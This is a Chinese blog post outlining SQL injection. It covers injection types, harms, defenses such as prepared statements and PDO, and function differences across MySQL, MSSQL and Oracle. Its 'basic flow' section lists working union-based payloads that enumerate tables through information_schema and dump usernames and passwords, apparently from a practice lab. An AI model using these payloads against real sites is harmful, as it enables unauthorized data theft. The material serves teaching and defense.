SQL注入总结大纲

本文为SQL注入总结简略版,仅仅提供一个思路。详细版后续更新……

SQL注入原理

用户输入不可控,恶意SQL语句被拼接到原因SQL语句中并能够执行,导致SQL注入漏洞

SQL注入分类

数值型、字符型、搜索型
回显注入: union select…
报错注入: extractvalue() 和 updatexml()
堆叠注入:show table、handler table read first
时间盲注、布尔盲注:字符编码+二分法(python)
二次注入:在第一次对数据库操作的基础上,再次进行注入攻击,达到目的

SQL注入基本流程

id=1' order by 3 --+  		       	  //判断出数据库表的字段数为3
id=0' union select 1,2,3 --+  		  //判断输出的位置
id=0' union select 1,2,(select database()) --+  	//爆库名
id=0' union select 1,2,(select group_concat(table_name) 
	from information_schema.tables where table_schema='security') --+       //查security中所有表名
id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns 
	where table_schema='security' and table_name='users') --+ 			//获取列名 
id=0' union select 1,2,(select group_concat(id,0x3a,username,0x3a,password) from security.users) --+   			
	//要明确想要的信息在哪个数据库的哪个表中;获取单元格内的值

SQL注入危害

  1. 数据被泄露、修改、删除等
  2. 写入木马文件,对网页篡改等
  3. 获取操作系统shell,执行系统命令,进行提权操作等
  4. 修改注册表

SQL注入防护

  1. 基于攻击特征的匹配过滤
  2. 对用户输入进行转义
  3. 对用户输入长度,输入内容严格规定
  4. 严格限制网站访问数据库的权限
  5. 预编译。Select、from、where、and等关键字提前编译,后面恶意的SQL语句就不会被执行。
  6. PDO:PHP数据对象。提供一组数据库抽象API,使得php编写者不需要关心连接的数据库,有效解决SQL注入问题

数据库的比较

  1. Mysql弱类型语言,mssql、orcale强类型语言
  2. Mysql的information_schema;mssql的master…sysdatabases;Orcale没有数据库的概念
  3. 函数的区别:| user() | current_user | user |;
mysqlmssqlorcale
user()current_useruser
db_name()database()无数据库概念
length()len()length()
ascii(),char()char()ascii()
limit 0,1top 1rownum=1
substr()substring()substr()
group_concat()group_concat() (与group by联合使用)wm_concat()
  1. 习惯性组合:asp、aspx与mssql;jsp与oracle;php与mysql
  2. 常用关键词区别:Limit | top | rownum ……
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Buffedon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值